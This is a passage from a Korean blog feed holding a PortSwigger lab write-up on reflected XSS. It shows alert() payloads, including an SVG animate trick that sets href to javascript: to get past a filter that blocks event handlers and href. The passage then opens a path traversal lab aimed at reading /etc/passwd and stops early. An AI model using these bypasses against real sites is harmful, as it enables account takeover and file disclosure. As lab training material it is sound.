&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;583&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/quXZd/dJMcaiEbVob/FbpJCRPEpNUUii5k9pwfSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/quXZd/dJMcaiEbVob/FbpJCRPEpNUUii5k9pwfSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/quXZd/dJMcaiEbVob/FbpJCRPEpNUUii5k9pwfSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FquXZd%2FdJMcaiEbVob%2FFbpJCRPEpNUUii5k9pwfSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;444&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;583&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;검색어&amp;nbsp;입력할&amp;nbsp;때의&amp;nbsp;요청을&amp;nbsp;Burp&amp;nbsp;Suite&amp;nbsp;Repeater&amp;nbsp;기능에&amp;nbsp;세팅합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/T3VTm/dJMb998heNk/2SuLyl55kQkdGsLzKP43kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/T3VTm/dJMb998heNk/2SuLyl55kQkdGsLzKP43kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/T3VTm/dJMb998heNk/2SuLyl55kQkdGsLzKP43kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FT3VTm%2FdJMb998heNk%2F2SuLyl55kQkdGsLzKP43kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;416&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;`&amp;lt;a&amp;gt;` 태그를 이용해서 사용자가 클릭했을 때 `alert` 함수가 호출되도록 페이로드를 입력하면 `href`가 차단되어 있기 때문에 `href` 속성을 사용할 수 없다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1784878675487&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;search=test&amp;lt;a+href=javascript:alert('xss')&amp;gt;test&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;553&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o2RT3/dJMcabE0ti5/fuWRUIQyRqVaXK0i263Bn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o2RT3/dJMcabE0ti5/fuWRUIQyRqVaXK0i263Bn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o2RT3/dJMcabE0ti5/fuWRUIQyRqVaXK0i263Bn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo2RT3%2FdJMcabE0ti5%2FfuWRUIQyRqVaXK0i263Bn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1118&quot; height=&quot;553&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;553&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔 이벤트 핸들러를 사용하여 `&amp;lt;a&amp;gt;` 태그 위에 마우스 커서가 올라갔을 때 `alert` 함수가 호출 되도록 페이로드를 입력하여 확인해 보면 이벤트 핸들러도 사용할 수 없다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1784878886568&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;search=&amp;lt;a+onmouseover=alert('xss')&amp;gt;test&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;539&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LzLAd/dJMcaasD9Op/ExVv1yn2k0eCInxnLrSPz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LzLAd/dJMcaasD9Op/ExVv1yn2k0eCInxnLrSPz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LzLAd/dJMcaasD9Op/ExVv1yn2k0eCInxnLrSPz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLzLAd%2FdJMcaasD9Op%2FExVv1yn2k0eCInxnLrSPz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;411&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;539&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;`&amp;lt;svg&amp;gt;`&amp;nbsp;태그&amp;nbsp;기반&amp;nbsp;페이로드를&amp;nbsp;삽입하면&amp;nbsp;필터링에&amp;nbsp;걸리지&amp;nbsp;않고&amp;nbsp;페이로드가&amp;nbsp;삽입되는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1784879005545&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;search=&amp;lt;svg&amp;gt;&amp;lt;a&amp;gt;&amp;lt;animate+attributeName=href+values=javascript:alert('xss')+/&amp;gt;&amp;lt;text+x=&quot;50&quot;+y=&quot;90&quot;&amp;gt;test&amp;lt;/text&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/svg&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1117&quot; data-origin-height=&quot;553&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cowCk0/dJMcacYf2kK/NO0uk3ivkOcQeB2bYy0DNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cowCk0/dJMcacYf2kK/NO0uk3ivkOcQeB2bYy0DNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cowCk0/dJMcacYf2kK/NO0uk3ivkOcQeB2bYy0DNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcowCk0%2FdJMcacYf2kK%2FNO0uk3ivkOcQeB2bYy0DNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;421&quot; data-origin-width=&quot;1117&quot; data-origin-height=&quot;553&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;`&amp;lt;a&amp;gt;`&amp;nbsp;태그&amp;nbsp;안에&amp;nbsp;`&amp;lt;animate&amp;gt;`&amp;nbsp;태그를&amp;nbsp;보면&amp;nbsp;`attributeName`&amp;nbsp;속성&amp;nbsp;값이&amp;nbsp;`href`이며&amp;nbsp;`values`&amp;nbsp;속성&amp;nbsp;값은&amp;nbsp;`javascript:alert('xss')`인&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있는데&amp;nbsp;이는&amp;nbsp;`&amp;lt;a&amp;gt;`&amp;nbsp;태그의&amp;nbsp;`href`&amp;nbsp;속성을&amp;nbsp;`javascript:alert('xss')`로&amp;nbsp;설정하라는&amp;nbsp;의미입니다.&amp;nbsp;`&amp;lt;text&amp;gt;`&amp;nbsp;태그는&amp;nbsp;`&amp;lt;a&amp;gt;`&amp;nbsp;태그의&amp;nbsp;텍스트&amp;nbsp;값(클릭할&amp;nbsp;버튼&amp;nbsp;역할)을&amp;nbsp;지정하도록&amp;nbsp;해줍니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;`&amp;lt;animate&amp;gt;`&amp;nbsp;태그의&amp;nbsp;`attributeName`&amp;nbsp;속성을&amp;nbsp;사용한다면&amp;nbsp;필터링을&amp;nbsp;우회하여&amp;nbsp;`href`&amp;nbsp;속성을&amp;nbsp;사용할&amp;nbsp;수&amp;nbsp;있고&amp;nbsp;`values`&amp;nbsp;속성을&amp;nbsp;이용해&amp;nbsp;이벤트&amp;nbsp;핸들러를&amp;nbsp;사용하지&amp;nbsp;않고&amp;nbsp;`Javascript`를&amp;nbsp;실행&amp;nbsp;시킬수&amp;nbsp;있었습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹페이지에서&amp;nbsp;`&amp;lt;svg&amp;gt;`&amp;nbsp;태그를&amp;nbsp;이용한&amp;nbsp;페이로드가&amp;nbsp;정상적으로&amp;nbsp;작동하는지&amp;nbsp;확인하기&amp;nbsp;위해서&amp;nbsp;페이로드가&amp;nbsp;삽입된&amp;nbsp;URL을&amp;nbsp;Copy&amp;nbsp;URL&amp;nbsp;기능을&amp;nbsp;사용해서&amp;nbsp;복사합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1119&quot; data-origin-height=&quot;553&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mLi6Q/dJMb99NVopj/UmwkWUDVcq3YoiOKroTb51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mLi6Q/dJMb99NVopj/UmwkWUDVcq3YoiOKroTb51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mLi6Q/dJMb99NVopj/UmwkWUDVcq3YoiOKroTb51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmLi6Q%2FdJMb99NVopj%2FUmwkWUDVcq3YoiOKroTb51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;420&quot; data-origin-width=&quot;1119&quot; data-origin-height=&quot;553&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복사한&amp;nbsp;주소를&amp;nbsp;URL&amp;nbsp;주소&amp;nbsp;입력창에&amp;nbsp;입력한&amp;nbsp;뒤&amp;nbsp;접근합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TKmJM/dJMcadCI2mw/c7KfKP53nzwo9cMwPy2ufk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TKmJM/dJMcadCI2mw/c7KfKP53nzwo9cMwPy2ufk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TKmJM/dJMcadCI2mw/c7KfKP53nzwo9cMwPy2ufk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTKmJM%2FdJMcadCI2mw%2Fc7KfKP53nzwo9cMwPy2ufk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;접근을 해 보면 페이로드 삽입으로 인한 버튼이 하나 생기고 해당 버튼을 클릭하면 `alert` 함수가 호출되는 것을 볼 수 있으며 결과적으로 XSS 공격에 취약하다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cI9Eox/dJMcadCI2nd/RbrZF2qm1j3UKcdNyF8J6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cI9Eox/dJMcadCI2nd/RbrZF2qm1j3UKcdNyF8J6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cI9Eox/dJMcadCI2nd/RbrZF2qm1j3UKcdNyF8J6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcI9Eox%2FdJMcadCI2nd%2FRbrZF2qm1j3UKcdNyF8J6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;랩&amp;nbsp;문제&amp;nbsp;해결&amp;nbsp;조건은&amp;nbsp;`&amp;lt;a&amp;gt;`&amp;nbsp;태그의&amp;nbsp;텍스트에&amp;nbsp;`&quot;Click&quot;`&amp;nbsp;이라는&amp;nbsp;단어가&amp;nbsp;들어가야&amp;nbsp;하기&amp;nbsp;때문에&amp;nbsp;이전에&amp;nbsp;사용했던&amp;nbsp;페이로드를&amp;nbsp;수정하여&amp;nbsp;요청을&amp;nbsp;보내면&amp;nbsp;마찬가지로&amp;nbsp;필터링에&amp;nbsp;걸리지&amp;nbsp;않고&amp;nbsp;페이로드가&amp;nbsp;삽입되는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1784879377297&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;search=&amp;lt;svg&amp;gt;&amp;lt;a&amp;gt;&amp;lt;animate+attributeName=href+values=javascript:alert('xss')+/&amp;gt;&amp;lt;text+x=&quot;50&quot;+y=&quot;90&quot;&amp;gt;Click+me&amp;lt;/text&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/svg&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;547&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bq665c/dJMcab57D1N/yVzYGF444kWBKFR1zIvUm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bq665c/dJMcab57D1N/yVzYGF444kWBKFR1zIvUm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bq665c/dJMcab57D1N/yVzYGF444kWBKFR1zIvUm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbq665c%2FdJMcab57D1N%2FyVzYGF444kWBKFR1zIvUm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;417&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;547&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이전과 동일한 방식으로 페이로드가 삽입된 URL을 복사하여 접근해 보면 랩 문제가 해결되는 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvCvQj/dJMcaijSveD/NUzJeQRig1hKPnHDe5bZok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvCvQj/dJMcaijSveD/NUzJeQRig1hKPnHDe5bZok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvCvQj/dJMcaijSveD/NUzJeQRig1hKPnHDe5bZok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvCvQj%2FdJMcaijSveD%2FNUzJeQRig1hKPnHDe5bZok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제로 Click me 버튼을 클릭해 보면 정상적으로 `alert` 함수가 호출되는 것 또한 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D3fQv/dJMb99UKlLJ/G97xBM1eEW6nT41Fpm44z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D3fQv/dJMb99UKlLJ/G97xBM1eEW6nT41Fpm44z0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D3fQv/dJMb99UKlLJ/G97xBM1eEW6nT41Fpm44z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD3fQv%2FdJMb99UKlLJ%2FG97xBM1eEW6nT41Fpm44z0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>portswigger</category>
      <category>Reflected XSS with event handlers and href attributes blocked</category>
      <category>reflected-xss</category>
      <category>RXSS</category>
      <category>XSS</category>
      <category>xss bypass</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <category>이벤트 핸들러와 href 속성 차단되었을 때 xss</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/41</guid>
      <comments>https://code000.tistory.com/entry/Lab-Reflected-XSS-with-event-handlers-and-href-attributes-blocked#entry41comment</comments>
      <pubDate>Fri, 24 Jul 2026 17:22:15 +0900</pubDate>
    </item>
    <item>
      <title>Lab: File path traversal, traversal sequences blocked with absolute path bypass</title>
      <link>https://code000.tistory.com/entry/Lab-File-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;Path Traversal을 이용해 `/etc/passwd` 파일에 접근하는 것입니다.&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 랩에는 상품 이미지를 보여주는 곳에서 path traversal 취약점이 존재한다고 합니다. 애플리케이션은 traversal sequences(상위 디렉터리 이동을 의미하는 문자열)를 차단하고 있지만 입력한 파일명을 기본 작업 디렉터리를 기준으로 하는 상대 경로로 처리한다고 합니다. 해당 랩을 풀기 위해서는 `/etc/passwd` 파일을 읽어와야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ACCESS&amp;nbsp;THE&amp;nbsp;LAB을&amp;nbsp;클릭하여&amp;nbsp;랩에&amp;nbsp;접속합니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n1ENO/dJMcaazmt8c/PpzGyUnDXfnhmXvbW22b3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n1ENO/dJMcaazmt8c/PpzGyUnDXfnhmXvbW22b3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n1ENO/dJMcaazmt8c/PpzGyUnDXfnhmXvbW22b3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn1ENO%2FdJMcaazmt8c%2FPpzGyUnDXfnhmXvbW22b3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;랩에&amp;nbsp;접속한&amp;nbsp;것을&amp;nbsp;확인합니다.&lt;/li&gt;
&lt;/ul&gt;
